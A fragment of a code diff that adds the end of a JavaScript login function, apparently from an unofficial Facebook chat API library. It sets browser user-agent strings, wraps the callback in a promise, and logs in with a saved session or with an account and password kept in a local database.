+ userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
1274
+ };
1275
+
1276
+ if (loginData.email && loginData.password) {
1277
+ setOptions(globalOptions, {
1278
+ logLevel: "silent",
1279
+ forceLogin: true,
1280
+ userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36"
1281
+ });
1282
+ }
1283
+ else if (loginData.appState) {
1284
+ setOptions(globalOptions, options);
1285
+ }
1286
+
1287
+ var prCallback = null;
1288
+ if (utils.getType(callback) !== "Function" && utils.getType(callback) !== "AsyncFunction") {
1289
+ var rejectFunc = null;
1290
+ var resolveFunc = null;
1291
+ var returnPromise = new Promise(function(resolve, reject) {
1292
+ resolveFunc = resolve;
1293
+ rejectFunc = reject;
1294
+ });
1295
+ prCallback = function(/** @type {any} */error, /** @type {any} */api) {
1296
+ if (error) return rejectFunc(error);
1297
+ return resolveFunc(api);
1298
+ };
1299
+ callback = prCallback;
1300
+ }
1301
+
1302
+ (async function() {
1303
+ var Premium = require("./Extra/Src/Premium");
1304
+ globalThis.Fca.Data.PremText = await Premium(globalThis.Fca.Require.Security.create().uuid) || "You Are Using Version: Free !";
1305
+ if (!loginData.email && !loginData.password) {
1306
+ switch (globalThis.Fca.Require.FastConfig.AutoLogin) {
1307
+ case true: {
1308
+ if (globalThis.Fca.Require.FastConfig.ResetDataLogin) return setUserNameAndPassWord();
1309
+ else {
1310
+ try {
1311
+ if (await Database.get("TempState")) {
1312
+ try {
1313
+ loginData.appState = JSON.parse(await Database.get("TempState"));
1314
+ }
1315
+ catch (_) {
1316
+ loginData.appState = await Database.get("TempState");
1317
+ }
1318
+ await Database.delete("TempState");
1319
+ }
1320
+ }
1321
+ catch (e) {
1322
+ console.log(e)
1323
+ await Database.delete("TempState");
1324
+ logger.Warning(Language.ErrDataBase);
1325
+ logger.Error();
1326
+ process.exit(0);
1327
+ }
1328
+ try {
1329
+ if (await Database.has('Account') && await Database.has('Password')) return loginHelper(loginData.appState, loginData.email, loginData.password, globalOptions, callback, prCallback);
1330
+ else return setUserNameAndPassWord();
1331
+ }
1332
+ catch (e) {
1333
+ logger.Warning(Language.ErrDataBase);
1334
+ logger.Error();
1335
+ process.exit(0);
1336
+ }
1337
+ }
1338
+ }
1339
+ case false: {
1340
+ loginHelper(loginData.appState, loginData.email, loginData.password, globalOptions, callback, prCallback);
1341
+ }
1342
+ }
1343
+ }
1344
+ else loginHelper(loginData.appState, loginData.email, loginData.password, globalOptions, callback, prCallback);
1345
+ })()
1346
+ return returnPromise;
1347
+ }
1348
+
1349
+ module.exports = login;